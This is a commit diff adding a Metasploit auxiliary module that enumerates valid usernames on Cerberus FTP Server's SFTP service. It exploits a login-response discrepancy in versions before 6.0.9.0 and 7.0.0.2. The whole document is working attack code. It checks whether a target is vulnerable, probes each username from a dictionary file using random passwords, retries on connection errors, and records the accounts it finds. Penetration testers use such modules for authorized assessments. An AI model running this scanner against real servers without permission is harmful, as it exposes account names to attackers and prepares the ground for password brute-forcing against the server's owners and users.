Land rapid7#3470, Cerberus SFTP User Enumeration

Author: Meatballs1

modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb

@@ -0,0 +1,213 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'net/ssh'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Auxiliary::Scanner
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'Cerberus FTP Server SFTP Username Enumeration',
+      'Description' => %q{
+        This module uses a dictionary to brute force valid usernames from
+        Cerberus FTP server via SFTP.  This issue affects all versions of
+        the software older than 6.0.9.0 or 7.0.0.2 and is caused by a discrepancy
+        in the way the SSH service handles failed logins for valid and invalid
+        users.  This issue was discovered by Steve Embling.
+      },
+      'Author'      => [
+        'Steve Embling', # Discovery
+        'Matt Byrne <attackdebris [at] gmail.com>' # Metasploit module
+      ],
+      'References'     =>
+        [
+          [ 'URL',  'http://xforce.iss.net/xforce/xfdb/93546' ],
+          [ 'BID', '67707']
+        ],
+      'License'     => MSF_LICENSE,
+      'DisclosureDate' => 'May 27 2014'
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(22),
+        OptPath.new(
+          'USER_FILE',
+          [true, 'Files containing usernames, one per line', nil])
+      ], self.class
+    )
+
+    register_advanced_options(
+      [
+        OptInt.new(
+          'RETRY_NUM',
+          [true , 'The number of attempts to connect to a SSH server for each user', 3]),
+        OptInt.new(
+          'SSH_TIMEOUT',
+          [true, 'Specify the maximum time to negotiate a SSH session', 10]),
+        OptBool.new(
+          'SSH_DEBUG',
+          [true, 'Enable SSH debugging output (Extreme verbosity!)', false])
+      ]
+    )
+  end
+
+  def rport
+    datastore['RPORT']
+  end
+
+  def retry_num
+    datastore['RETRY_NUM']
+  end
+
+  def check_vulnerable(ip)
+    options = {
+      :port => rport,
+      :auth_methods  => ['password', 'keyboard-interactive'],
+      :msframework   => framework,
+      :msfmodule     => self,
+      :disable_agent => true,
+      :config        => false,
+      :proxies       => datastore['Proxies']
+    }
+
+    begin
+      transport = Net::SSH::Transport::Session.new(ip, options)
+    rescue Rex::ConnectionError, Rex::AddressInUse
+      return :connection_error
+    end
+
+    auth = Net::SSH::Authentication::Session.new(transport, options)
+    auth.authenticate("ssh-connection", Rex::Text.rand_text_alphanumeric(8), Rex::Text.rand_text_alphanumeric(8))
+    auth_method = auth.allowed_auth_methods.join('|')
+    print_status "#{peer(ip)} Server Version: #{auth.transport.server_version.version}"
+    report_service(
+      :host => ip,
+      :port => rport,
+      :name => "ssh",
+      :proto => "tcp",
+      :info => auth.transport.server_version.version
+    )
+
+    if auth_method.empty?
+      :vulnerable
+    else
+      :safe
+    end
+  end
+
+  def check_user(ip, user, port)
+    pass = Rex::Text.rand_text_alphanumeric(8)
+
+    opt_hash = {
+      :auth_methods  => ['password', 'keyboard-interactive'],
+      :msframework   => framework,
+      :msfmodule     => self,
+      :port          => port,
+      :disable_agent => true,
+      :config        => false,
+      :proxies       => datastore['Proxies']
+    }
+
+    opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
+    transport = Net::SSH::Transport::Session.new(ip, opt_hash)
+    auth = Net::SSH::Authentication::Session.new(transport, opt_hash)
+
+    begin
+      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
+        auth.authenticate("ssh-connection", user, pass)
+        auth_method = auth.allowed_auth_methods.join('|')
+        if auth_method != ''
+          :success
+        else
+          :fail
+        end
+      end
+    rescue Rex::ConnectionError, Rex::AddressInUse
+      return :connection_error
+    rescue Net::SSH::Disconnect, ::EOFError
+      return :success
+    rescue ::Timeout::Error
+      return :connection_error
+    end
+  end
+
+  def do_report(ip, user, port)
+    report_auth_info(
+      :host   => ip,
+      :port   => rport,
+      :sname  => 'ssh',
+      :user   => user,
+      :active => true
+    )
+  end
+
+  def peer(rhost=nil)
+    "#{rhost}:#{rport} SSH -"
+  end
+
+  def user_list
+    users = nil
+    if File.readable? datastore['USER_FILE']
+      users = File.new(datastore['USER_FILE']).read.split
+      users.each {|u| u.downcase!}
+      users.uniq!
+    else
+      raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"
+    end
+
+    users
+  end
+
+  def attempt_user(user, ip)
+    attempt_num = 0
+    ret = nil
+
+    while (attempt_num <= retry_num) && (ret.nil? || ret == :connection_error)
+      if attempt_num > 0
+        Rex.sleep(2 ** attempt_num)
+        print_debug "#{peer(ip)} Retrying '#{user}' due to connection error"
+      end
+
+      ret = check_user(ip, user, rport)
+      attempt_num += 1
+    end
+
+    ret
+  end
+
+  def show_result(attempt_result, user, ip)
+    case attempt_result
+    when :success
+      print_good "#{peer(ip)} User '#{user}' found"
+      do_report(ip, user, rport)
+    when :connection_error
+      print_error "#{peer(ip)} User '#{user}' could not connect"
+    when :fail
+      vprint_status "#{peer(ip)} User '#{user}' not found"
+    end
+  end
+
+  def run_host(ip)
+    print_status "#{peer(ip)} Checking for vulnerability"
+    case check_vulnerable(ip)
+    when :vulnerable
+      print_good "#{peer(ip)} Vulnerable"
+      print_status "#{peer(ip)} Starting scan"
+      user_list.each do |user|
+        show_result(attempt_user(user, ip), user, ip)
+      end
+    when :safe
+      print_error "#{peer(ip)} Not vulnerable"
+    when :connection_error
+      print_error "#{peer(ip)} Connection failed"
+    end
+  end
+end
+